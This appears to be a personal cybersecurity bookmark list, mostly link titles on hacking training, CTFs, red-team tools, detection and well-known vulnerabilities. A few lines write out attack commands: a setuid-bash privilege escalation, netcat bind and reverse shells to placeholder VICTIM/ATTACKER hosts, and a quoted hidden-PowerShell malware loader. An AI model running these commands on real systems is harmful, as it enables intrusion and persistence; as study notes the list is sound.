ssl-tls
web-security
web-authentication
Cyber attack lifecycle/kill chain
- reconnaissance/enumeration
- initial attack
- privilege escalation
- persistence (backdoor)
- profit
Computer security - Wikiwand
Information security - Wikiwand
How do hackers get caught? - the hunt for the hacker. - YouTube
I wouldn’t give this cable to my worst enemy - O.MG Cable - YouTube
What's The Difference Between Cybersecurity Vs Information Security?
Cyber security targets online threats while information security takes a holistic approach.
carpedm20/awesome-hacking: A curated list of awesome Hacking tutorials, tools and resources
onlurking/awesome-infosec: A curated list of awesome infosec courses and training resources.
hak5
Official PCI Security Standards Council Site - Verify PCI Compliance, Download Data Security and Credit Card Security Standards
MITRE ATT&CK®
#1 Crowdsourced Cybersecurity Platform | Bugcrowd
The Daily Swig | Cybersecurity news and views
WhiteHat Security Blog
0x00sec - The Home of the Hacker
0x00pf/0x00sec_code: Code for my 0x00sec.org posts
Topics - Activity - 0x00pf - 0x00sec - The Home of the Hacker
Topics - Activity - Danus - 0x00sec - The Home of the Hacker
Cybersecurity and Its Ten Domains - University System of Georgia | Coursera
Altered Security: Hands-On Enterprise Security and Red Team Labs Windows attacks
Welcome to the Red Canary 2023 Threat Detection Report Windows attacks
HackTricks - HackTricks
The Protection of Information in Computer Systems (PDF)
Feisty Duck: Fine computer security and open source books
Identity eats security: How identity management is driving security | CSO Online detect intrusion beyond authentication
10 Ways to Keep a Rogue RasPi From Wrecking Your ...
Palo Alto’s 134-slide presentation reveals the insides of the global cyber market | Ctech market size
Glossaries
APT: Advanced Persistent Threat
CISA: Cybersecurity and Infrastructure Security Agency
DFIR: Digital Forensics and Incident Response
EDR: Endpoint Detection and Response
ETDR: Endpoint Threat Detection and Response
MSP: Managed Service Provider
MSSP: Managed Security Service Provider
RAT: Remote Administration Tool
RCE: Remote Code Execution
RMM: Remote Management and Monitoring
SIEM: Security Information and Event Management
SOC: Security Operation Center
TTP: Tactics, Techniques, and Procedures (from MITRE ATT&CK)
DevSecOps
What Is DevSecOps?
4 Key Differences Between DevOps and DevSecOps | Boot.dev
- Code scan
- Low risk scan
- Runtime scan
Security as Code Protects Rapidly Developing Cloud Native Architectures - The New Stack
Product | Security as Code - oak9
Courses/Videos
TryHackMe | Cyber Security Training
Hack The Box: Hacking Training For The Best | Individuals & Companies
hack the box - YouTube
The Defenders Movie | Cybersecurity Documentary
Douglas Crockford: Principles of Security - YouTube
The Lazy Programmer's Guide to Secure Computing - YouTube
An Overview of the Security Ecosystem in Programming - via @codeship | via @codeship
3 FREE Resources for Cyber Defenders - YouTube
The DFIR Report - Real Intrusions by Real Attackers, The Truth Behind the Intrusion real world attack reports
MalwareTech - Everything Cyber Security the guy who disabled WannaCry
Marcus Hutchins - YouTube
InsiderPhD - YouTube
IppSec - YouTube HackTheBox
HackOvert - YouTube
John Hammond - YouTube JohnHammond - GitHub
NetworkChuck - YouTube
Ethical Hacking Full Course - Learn Ethical Hacking in 10 Hours | Ethical Hacking Tutorial | Edureka - YouTube
Jack Rhysider - YouTube hacker story
Pentester Academy TV - YouTube also on embedded Linux
PentesterAcademy Labs - YouTube
jhaddix - YouTube
Jason Haddix - Bug Hunter's Methodology (Series) - YouTube
thehackerish - YouTube
Web hacking training [hands-on] - YouTube
Live hacking sessions - YouTube
David Bombal - YouTube
The best Hacking Courses & Certs (not all these)? Your roadmap to Pentester success. - YouTube
2023 Roadmap to Master Hacker - YouTube
Real World Hacking Demo with OTW - YouTube
Juniper Networks Training Course Catalog free courses
Get Started with Free Juniper Training
qwqdanchun RED team, releasing attack tools
恶意软件学习笔记 - Malware Note
CTF/Labs
CTFtime.org / All about CTF (Capture The Flag)
Bienvenue [Root Me : plateforme d'apprentissage dédiée au Hacking et à la Sécurité de l'Information]
Pay What You Can – Antisyphon Training pay what you can, free tier available
Pentester Academy's AttackDefense Lab
PentesterAcademy Labs - YouTube
Pentester Academy Blog
Cybersecurity Labs (FOR FREE) - Linux Backdoor Analysis - YouTube
IntroLabs/IntroClassFiles/navigation.md at master · strandjs/IntroLabs
ClassLabs/navigation.md at main · strandjs/ClassLabs
Ne0Lux-C1Ph3r/WRITE-UP: Write up CTF
Introduction · CTF Field Guide source
trailofbits/ctf-challenges: CTF Challenges
CTF 2023 - Capture the Flag Challenge
Fetch the Flag
Getting started with CTF | Snyk
Snyk | Capture the Flag Workshop
Fetch the Flag CTF 2023 | Snyk
picoCTF - CMU Cybersecurity Competition
picoCTF - Learning Resources
The CTF Primer
Katana - Automatic CTF Challenge Solver — Katana 1.0 documentation
JohnHammond/katana: Katana - Automatic CTF Challenge Solver in Python3
RsaCtfTool/RsaCtfTool: RSA attack tool (mainly for ctf) - retreive private key from weak public key and/or uncipher data
JohnHammond/ctf-katana: This repository aims to hold suggestions (and hopefully/eventually code) for CTF challenges. The "project" is nicknamed Katana. the concept
JohnHammond/labs: Free and publicly available training labs and exercises, for quick copy-and-paste demonstrations, learning and education.
Google CTF
PwnFunction - YouTube
LiveOverflow - YouTube
I Hacked & Exposed This Evil Website for Educational Purposes. - YouTube
- cmd with root privilege and command injection
- inject
cp /bin/bash /tmp/bash; chmod +s /tmp/bash /tmp/bash -p
Supply Chain Attack
copyright-open-source#Software BOM (bill of material)
Open Source & Software Supply Chain Risks Blog | Synopsys
Snyk Vulnerability Database | Snyk
npm audit: Broken by Design — Overreacted audit tools should not cause noise
Cybersec Tools
The Tool Box - YouTube
19 open source GitHub projects for security pros | InfoWorld
How to Proxy Command Execution: "Living Off The Land" Hacks - YouTube
GTFOBins Linux
LOLBAS Windows
penetration testing - freeCodeCamp.org
DMitry - Deepmagic Information Gathering Tool
godaddy/procfilter: A YARA-integrated process denial framework for Windows
The Bro Network Security Monitor
Sigma - SIEM Detection Format | The shareable detection format for security professionals.
SigmaHQ/sigma-cli: The Sigma command line interface based on pySigma
YARA - The pattern matching swiss knife for malware researchers
Welcome to YARA’s documentation!
matonis/yara_tools: Create an entire YARA rule via Python? Whhhhhhaatttt?
Applied YARA training
yara Archives | APNIC Blog
Classify Malware with YARA - YouTube
Classify Malware with YARA - YouTube
VirusTotal
API Scripts and client libraries – VirusTotal
Compliant, easy and actionable integration of VirusTotal in 3rd-party products - Welcome VT Augment ~ VirusTotal Blog
Home - Open Source Security Foundation
Who we are and what we do | The Hacker’s Choice
fortra/impacket: Impacket is a collection of Python classes for working with network protocols.
pr4jwal/quick-scripts: A collection of my quick and dirty scripts for vulnerability POC and detections
CISOfy/lynis: Lynis - Security auditing tool for Linux, macOS, and UNIX-based systems. Assists with compliance testing (HIPAA/ISO27001/PCI DSS) and system hardening. Agentless, and installation optional.
GAUNTLT - Go Ahead, Be Mean To Your Code - Security and Rugged Testing
gauntlt/gauntlt: a ruggedization framework that embodies the principle "be mean to your code"
Wazuh · The Open Source Security Platform
Improve your security posture with Wazuh, a free and open source XDR
Recon
Real World Hacking Tools Tutorial (Target: Tesla) - YouTube
Open Source Intelligence (OSINT)
BuiltWith Technology Lookup GA code lookup
Shodan Search Engine infrastructure lookup
WHOIS API | WHOIS Lookup API | Domain WHOIS API reverse whioi
Home • Directory Lister
TLS cert scan on AWS IP
Remote Administration Tool (RAT)
Remcos | Remote Control & Surveillance Software
quasar/Quasar: Remote Administration Tool for Windows
EDR
AURORA Agent - Nextron Systems
Aurora Agent User Manual — Aurora Agent User Manual documentation
sigma/rules at master · SigmaHQ/sigma
Detect Hackers & Malware on your Computer (literally for free) - YouTube
IDS/IPS
Home - Suricata
IPS inline mode
Snort - Network Intrusion Detection & Prevention System
CrowdSec - The open-source & collaborative security suite
How to Install and Configure CrowdSec on OPNsense
Wazuh
Wazuh - Open Source XDR. Open Source SIEM.
Wazuh GitHub Org
wazuh/wazuh-ruleset: Wazuh - Ruleset
KASM
Kasm Workspaces | The Container Streaming Platform
Kasm Workspaces: Your Solution for Remote Desktops? Full Review! - YouTube
create the ULTIMATE hacking lab in 5min!! (Docker Containers STREAMING Kali Linux to your browser) - YouTube
Kali Linux
Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution
Kali Tools | Kali Linux Tools
kali-tweaks
An introduction to Kali Linux - Help Net Security
5 Kali Linux tools you should learn how to use - Help Net Security
University of Kali Linux - YouTube
Und3rf10w/kali-anonsurf: A port of ParrotSec's stealth and anonsurf modules to Kali Linux send all traffic via Tor network
Metasploit
Penetration Testing Software | Metasploit
Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers
How to Hack Like a Pro: Getting Started with Metasploit « Null Byte :: WonderHowTo
Metasploit — A Walkthrough Of The Powerful Exploitation Framework
Living off the land
living off the land: using tools at victim machine
andrew-d/static-binaries: Various *nix tools built as statically-linked binaries
LOLBAS Living Off The Land Binaries, Scripts and Libraries, for Windows
DDExec
arget13/DDexec: A technique to run binaries filelessly and stealthily on Linux by "overwriting" the shell's process with another.
Run ANY Linux Program In Memory - YouTube
Vulnerability scanner
OpenVAS
411Hall/JAWS: JAWS - Just Another Windows (Enum) Script
carlospolop/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)
rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks
Linux Privilege Escalation with LinEnum | by Trevor Cohen | Medium
trufflesecurity/trufflehog: Find credentials all over the place
RhinoSecurityLabs/pacu: The AWS exploitation framework, designed for testing the security of Amazon Web Services environments.
SCARLETEEL: Operation leveraging Terraform, Kubernetes, and AWS for data theft – Sysdig
chaitin/xray: 一款完善的安全评估工具，支持常见 web 安全问题扫描和自定义 poc | 使用之前务必先阅读文档
Honeypot
paralax/awesome-honeypots: an awesome list of honeypot resources
telekom-security/tpotce: 🍯 T-Pot - The All In One Honeypot Platform 🐝
tpotce v22.04.0 releases: The All In One Honeypot Platform • Penetration Testing
30 天蜜罐品嘗 :: 第 11 屆 iThome 鐵人賽
Honeynet Project
The Honeynet Project
The Honeynet Project GitHub Org
Glutton 1.0 Release
mushorg/glutton: Generic Low Interaction Honeypot
honeynet/ochi UI for events from Glutton
kung-foo/freki: Freki is a tool to manipulate packets in usermode using NFQUEUE and golang.
Bind/Remote shell
Bind shell: attacker connect to victim
Remote shell: victim connect to attacker
Reverse Shell Cheat Sheet | pentestmonkey
Difference Between Bind Shell and Reverse Shell - GeeksforGeeks
Bind Shell 與 Reverse Shell | Puck's Blog
hackerschoice/thc-tips-tricks-hacks-cheat-sheet: Various tips & tricks
Remote Shells. Part I - Networking - 0x00sec - The Home of the Hacker
Remote Shells. Part II. Crypt your link - Networking - 0x00sec - The Home of the Hacker
Remote Shells Part III. Shell Access your Phone - Networking - 0x00sec - The Home of the Hacker
Online - Reverse Shell Generator
how to get remote access to your hacking targets // reverse shells with netcat (Windows and Linux!!) - YouTube
# [victim] bind shell, forward input to `sh`
nc -lvnp 5555 -e sh
# [attacker]
nc VICTIM 5555# [attacker]
nc -lvnp 5555
# [victim] remote shell, forward input to `sh`
nc ATTACKER 5555 -e shcalebstewart/pwncat: Fancy reverse and bind shell handler
Password Hacking
web-authentication#Active Directory
Password Hacking in Kali Linux - YouTube
- Hydra
- John The Ripper
- Responder
- hashcat
Hacking Complex Passwords with Rules & Munging - YouTube
Hydra
ssh brute force
hydra | Kali Linux Tools
SSH Password Testing With Hydra on Kali Linux - Linux Tutorials - Learn Linux Configuration
How to Use Hydra to Hack Passwords – Penetration Testing Tutorial
Hydra - SSH BruteForce - YouTube
How to HACK Website Login Pages | Brute Forcing with Hydra - YouTube
John The Ripper
John the Ripper documentation
How to Crack Passwords using John The Ripper – Pentesting Tutorial
Dictionary attack
dump hashes
impacket/examples/secretsdump.py at master · fortra/impacket · GitHub
cupp: generate passwords dictionary
how to HACK a password // Windows Edition - YouTube
Hashcat: dictionary attack
how to HACK a password // password cracking with Kali Linux and HashCat - YouTube
Pivoting/Tunneling/Proxy
ssh#SSH Tunneling
Tunneling Through Protected Networks | Master Network Pivoting - YouTube
Chisel
reverse tunnel, socks proxy
jpillora/chisel: A fast TCP/UDP tunnel over HTTP
How To Pivot Through a Network with Chisel - YouTube
Pivoting with Chisel | Ap3x Security
Pivoting with Chisel
proxychains
CLI command wrapper
haad/proxychains: proxychains - a tool that forces any TCP connection made by any given application to follow through proxy like TOR or any other SOCKS4, SOCKS5 or HTTP(S) proxy. Supported auth-types: "user/pass" for SOCKS4/5, "basic" for HTTP.
rofl0r/proxychains-ng: proxychains ng (new generation) - a preloader which hooks calls to sockets in dynamically linked programs and redirects it through one or more socks/http proxies. continuation of the unmaintained proxychains project. the sf.net page is currently not updated, use releases from github release page instead.
How do those hackers' tools work? Proxychains - Programming - 0x00sec - The Home of the Hacker
2.4 设置 ProxyChains | 大学霸 Kali Linux 安全渗透教程
Browser
FoxyProxy - Home
FoxyProxy Standard - Chrome Web Store
FoxyProxy Standard – Get this Extension for 🦊 Firefox (en-US)
C2 Server
Havoc
HavocFramework/Havoc: The Havoc Framework.
Sliver | Bishop Fox
BishopFox/sliver: Adversary Emulation Framework
HTTP(S) C2 · BishopFox/sliver Wiki
Sliver C2 — Modern Command and Control Exploitation Framework | by Yua Mikanana | Sep, 2023 | Medium
Global Socket | Connect like there is no firewall. Securely.
hackerschoice/gsocket: Connect like there is no firewall. Securely. gs-netcat
ldcsaa/HP-Socket: High Performance TCP/UDP/HTTP Communication Component
Embedded Systems
Hardware Hacking: UART Magic with Alxhh | Bugcrowd
Breaking into an Embedded Linux System eBook QEMU setup
Make Me Hack - YouTube QEMU and hardware hacking
How We Hacked a TP-Link Router and Took Home $55,000 in Pwn2Own - YouTube
Hacker's Guide to UART Root Shells - YouTube
Introduction to Firmware Reversing - YouTube
Intro to Hardware Reversing: Finding a UART and getting a shell - YouTube
HackRF
Welcome to HackRF’s documentation! — HackRF documentation
hackrf · GitHub Topics · GitHub
dressel/pyhackrf: A Python wrapper for libhackrf
pothosware/SoapySDR: Vendor and platform neutral SDR support library.
Home · pothosware/SoapySDR Wiki · GitHub
Software Defined Radio with HackRF - Great Scott Gadgets
Zero Trust Network
IP address, network id
Workload id, service id
Zero Trust: Time to Get Rid of Your VPN – The New Stack
ZTNA: What is Zero Trust Network Access? | Twingate
Tailscale: A Virtual Private Network for Zero Trust Security – The New Stack
Why zero-trust models should replace legacy VPNs
Zero Trust Maturity Model | CISA
The Death of the Corporate Network
Architecting Network Connectivity for a Zero Trust Future | Twingate
Why Access Management Is Step One for Zero Trust Security – The New Stack
Guest Blog: k8s tunnels with Kudelski Security
SPIFFE
SPIFFE – Secure Production Identity Framework for Everyone
spiffe/spiffe: The SPIFFE Project
SPIFFE in a Nutshell - Pushpalanka Jayawardhana - Medium
Sunil James, CEO of Scytale, Explains SPIFFE - The New Stack
Attacks/Vulnerbilities
Vulnerabilities and Exploits — ENISA
Zero-Day — ENISA
Home | CVE
CVE - CVE
CWE - Common Weakness Enumeration
Vulhub - Docker-Compose file for vulnerability environment
vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose
Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers
Exploit-DB / Exploits + Shellcode + GHDB · GitLab
trailofbits/not-going-anywhere: A set of vulnerable Golang programs
trailofbits/not-slithering-anywhere: The Python Version of our Not Go-ing Anywhere Vulnerable Application
Introduction - Building Secure Contracts
crytic/building-secure-contracts: Guidelines and training material to write secure smart contracts
crytic/awesome-ethereum-security: A curated list of awesome Ethereum security references
首页 | 离别歌 PHITHON
首页 - 『代码审计』知识星球
Paper
PHITHON 的公开漏洞
Paper - Phith0n
Google Hacking Database (GHDB)
Exploit DB
SHODAN
PHP
Docker PHP 裸文件本地包含综述 | 离别歌 pearcmd.php RCE
Website Vulnerabilities to Fully Hacked Server - YouTube
DoS/DDoS
Denial-of-service attack - Wikiwand
SYN flood - Wikiwand
How to Prevent DDoS Attacks: 7 Tried-and-Tested Methods
How to Stop a DDoS Attack: 4 Steps to Take Now
How to Stop DDoS Attacks: 6 Tips for Fighting DDoS Attacks
Best Practices: DDoS preventative measures – Cloudflare Help Center
Cloudflare thwarts 17.2M rps DDoS attack — the largest ever reported
LOIC download | SourceForge.net
Low Orbit Ion Cannon - Wikiwand
What is LOIC - Low Orbit Ion Cannon | DDoS Tools | Imperva
Slowloris (computer security) - Wikiwand
Slowloris HTTP DoS
gkbrk/slowloris: Low bandwidth DoS tool. Slowloris rewrite in Python.
Buffer Overflow
Writing buffer overflow exploits - a tutorial for beginners
HACKED! How a Buffer Overflow Exploit works, plus Code Red! - YouTube
Timing attacks
A Lesson In Timing Attacks (or, Don’t use MessageDigest.isEquals) | codahale.com
Use time difference in array comparison to brute force the digest byte by byte.
Code and Process Injection
Code & Process Injection - Red Team Notes
CreateRemoteThread Shellcode Injection - Red Team Notes
sample of shellcode injection into a process (Gray Hat Python)
ELFun File Injector - Malware - 0x00sec - The Home of the Hacker
User Mode Rootkits: IAT and Inline Hooking - Malware - 0x00sec - The Home of the Hacker
Process Injection: APC Injection - Malware - 0x00sec - The Home of the Hacker
Process Injection: Remote Thread Injection or CreateRemoteThread | Alion’s Blog
Docker Security: Docker Breakouts : Process Injection - YouTube
[Linux] Infecting Running Processes - Programming - 0x00sec - The Home of the Hacker
Programming for Wannabees. Part III. Your first Shell Code - Programming - 0x00sec - The Home of the Hacker
Linux Shellcoding (Part 1.0) - Exploit Development - 0x00sec - The Home of the Hacker
Heartbleed
Heartbleed Bug
Heartbleed - Wikiwand
Heartbleed – Andrew Kennedy
xkcd: Heartbleed Explanation
Heartbleed Report (2017-01) - Shodan
How I used Heartbleed to steal a site’s private crypto key – Ars Technica
Critical crypto bug exposes Yahoo Mail, other passwords Russian roulette-style | Ars Technica
Coder in a World of Code: My Heart Bleeds for OpenSSL
Shellshock
Shellshock (software bug) - Wikiwand
The Shellshock Bug In About Four Minutes - YouTube
Shellshock DIY – Andrew Kennedy
Troy Hunt: Everything you need to know about the Shellshock Bash bug
How to Protect Your Server Against the Shellshock Bash Vulnerability | DigitalOcean
Shellshock DHCP RCE Proof of Concept - TrustedSec - Information Security
BREACH
BREACH ATTACK
BREACH (security exploit) - Wikiwand
Stuxnet
Stuxnet - Wikiwand
Stuxnet: a 3-Parts Series | Curious Minds - Curious Minds Podcast
Stuxnet: Advanced Persistent Threat - Ran Levi
The Most Sophisticated Malware Ever Made (That We Know Of)🎙Darknet Diaries Ep. 29: Stuxnet - YouTube
Row Hammering//Drammer/RAMpage
Physical RAM attack can root Android and possibly other devices | InfoWorld
Google researchers hack computers using DRAM electrical leaks | Computerworld
Researchers develop astonishing Web-based attack on a computer's DRAM | Computerworld
Drammer: Deterministic Rowhammer Attacks on Mobile Platforms PDF
New Drammer Android Hack lets Apps take Full control (root) of your Phone
vusec/drammer: Native binary for testing Android phones for the Rowhammer bug
RAMPAGE AND GUARDION
Every Android Device Since 2012 Impacted by RAMpage Vulnerability
Dirty COW
Dirty COW (CVE-2016-5195)
Dirty COW - Wikiwand
Meltdown and Spectre
Two major computer processor security bugs, dubbed Meltdown and Spectre, affect nearly every device made in the last 20 years.
What Is Speculative Execution? - ExtremeTech
Meltdown and Spectre
Spectre & Meltdown - Computerphile - YouTube
Meltdown: the latest news on two major CPU security bugs - The Verge
Meltdown, Spectre: The password theft bugs at the heart of Intel CPUs • The Register
What are the Meltdown and Spectre exploits? | Network World
New Spectre derivative bug haunts Intel processors | Network World
Microsoft, Google: We've found a fourth data-leaking Meltdown-Spectre CPU hole • The Register
Spectre/Meltdown/L1TF/MDS Mitigation Costs On An Intel Dual Core + HT Laptop - Phoronix
The Performance Impact Of MDS / Zombieload Plus The Overall Cost Now Of Spectre/Meltdown/L1TF/MDS - Phoronix
speed47/spectre-meltdown-checker: Spectre & Meltdown vulnerability/mitigation checker for Linux
IAIK/meltdown: This repository contains several applications, demonstrating the Meltdown bug.
MDS/ZombieLoad
MDS Attacks: Microarchitectural Data Sampling
ZombieLoad Attack
Microarchitectural Data Sampling (aka MDS, ZombieLoad, RIDL & Fallout) explained by Red Hat - YouTube
Buffer the Intel flayer: Chipzilla, Microsoft, Linux world, etc emit fixes for yet more data-leaking processor flaws • The Register
Intel CPUs impacted by new Zombieload side-channel attack | ZDNet
Intel Side Channel Vulnerability MDS
Deep Dive: Intel Analysis of Microarchitectural Data Sampling
Intel CPUs can be exploited unless you disable hyper-threading, Linux dev claims | TechRadar
Static Analysis/Source Code Analysis
"Source code security audit speed run" - Eldar Marcussen - YouTube
- taint analysis
- "grep"
- hot spot checking
- control flow sensitive
- data flow sensitive
- focus oriented (certain class/feature or library)
- forward/backward tracing
Awesome Rank for mre/awesome-static-analysis
analysis-tools-dev/static-analysis: ⚙️ A curated list of static analysis (SAST) tools for all programming languages, config files, build tools, and more. The focus is on tools which improve code quality.
Source Code Analysis Tools | OWASP Foundation
How to Analyze Code for Vulnerabilities - YouTube
Is this okay!? How to review code for security issues - Rouan Wilsenach - NDC Security 2023 - YouTube
Snyk Open Source Advisor | Snyk
Semgrep — Find bugs and enforce code standards
Explore | Semgrep
trailofbits/semgrep-rules: Semgrep queries developed by Trail of Bits.
ShiftLeft Inc. webgoat and tarpit
ShiftLeftSecurity/tarpit-java
ShiftLeftSecurity/tarpit-nodejs
ShiftLeftSecurity/tarpit-python
ShiftLeftSecurity/flask-webgoat
Many provide free service for open source projects
Codecov - Code Coverage
Coveralls - Test Coverage History & Statistics
Code Climate. Hosted static analysis for Ruby, PHP and JavaScript source code.
Dependency management + Code analytics for Node.js projects
Codacy | The fastest static analysis tool from setup to first analysis | Codacy
Code Quality and Code Security | SonarQube
Snyk | Developer Security | Develop Fast. Stay Secure.
snyk - npm
npm install -g snyk
cd your-app
snyk test
snyk wizardchrisallenlane/drek: A static-code-analysis tool for performing security-focused code reviews. It enables an auditor to swiftly map the attack-surface of a large application, with an emphasis on identifying development anti-patterns and footguns. glorified grep
Source Code Auditing - YouTube
wireghoul/graudit: grep rough audit - source code auditing tool
How to Analyze Code for Vulnerabilities - YouTube
Powering up your source code auditing with parsers - YouTube Lazy Bloodhound, build on tree-sitter, for PHP
How to Analyze Code for Vulnerabilities - YouTube
pip audit
npm auditMalware
MalwareTech
Malwarebytes Labs - The Security Blog From Malwarebytes | Malwarebytes Labs
How Hackers Use netsh.exe For Persistence & Code Execution (Sliver C2) - YouTube
The Cycle of Cyber Threat Intelligence - YouTube
The Art Of Malware - Bringing the dead back to life - Malware - 0x00sec - The Home of the Hacker old malware
Analyzing Modern Malware Techniques - Part 1 - Malware - 0x00sec - The Home of the Hacker
Analyzing Modern Malware Techniques - Part 2 - Malware - 0x00sec - The Home of the Hacker
Analyzing Modern Malware Techniques - Part 3 - Malware - 0x00sec - The Home of the Hacker
Analyzing Modern Malware Techniques - Part 4 - Malware - 0x00sec - The Home of the Hacker
Database/Repo
Windows malware execution
Hackers Have a New Strategy - How to Defend Against It - YouTube
Flight of the Bumblebee: Email Lures and File Sharing Services Lead to Malware
C:\Windows\System32\cmd.exe /c powershell -WindowStyle Hidden -Command ".\7za.exe x archive.7z -pFhu$$57csa -o\"c:\programdata\" -y > $null; rundll32 c:\programdata\19a.dll,oxgdXPSGPwObfuscation/Evasion
John Hammond
How Hackers & Malware Spoof Processes - YouTube
How Hackers Write Malware & Evade Antivirus (Nim) - YouTube
How Does Malware Know It's Being Monitored? - YouTube
IoT Malware
IoT Malware Droppers (Mirai and Hajime) - Malware - 0x00sec - The Home of the Hacker
jgamblin/Mirai-Source-Code: Leaked Mirai Source Code for Research/IoC Development Purposes